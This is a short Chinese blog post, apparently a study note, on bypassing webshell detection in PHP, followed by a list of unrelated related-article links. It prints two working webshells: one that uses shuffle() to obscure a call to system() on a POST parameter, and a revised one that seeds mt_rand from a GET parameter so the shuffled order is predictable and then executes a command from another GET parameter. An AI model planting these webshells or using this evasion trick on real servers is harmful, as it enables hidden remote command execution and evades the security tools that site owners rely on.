记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
Hello_Embed13 小时前
Modbus 传感器开发:STM32F030 libmodbus 移植
笔记·stm32·学习·freertos·modbus
知识分享小能手13 小时前
SQL Server 2019入门学习教程,从入门到精通,SQL Server 2019 视图操作 — 语法知识点及使用方法详解(16)
sql·学习·sqlserver
前路不黑暗@14 小时前
Java项目:Java脚手架项目的 B 端用户服务(十四)
android·java·开发语言·spring boot·笔记·学习·spring cloud
锅包一切15 小时前
PART17 一维动态规划
c++·学习·算法·leetcode·动态规划·力扣·刷题
科技林总15 小时前
【系统分析师】9.3 通信与网络安全技术
学习
摩拜芯城IC16 小时前
ATSHA204A‑STUCZ CryptoAuthentication 安全认证芯片IC
python·安全
Max_uuc17 小时前
【安全架构】在敌对环境中生存:TrustZone、Secure Boot 与嵌入式系统的“双重人格”
安全·安全架构
CappuccinoRose17 小时前
CSS 语法学习文档(十五)
前端·学习·重构·渲染·浏览器
Ha_To18 小时前
2026.2.4 DVWA, Sql-labs,Pikachu靶场搭建
安全·web安全
香芋Yu18 小时前
【大模型面试突击】04_Embedding与表示学习
学习·面试·embedding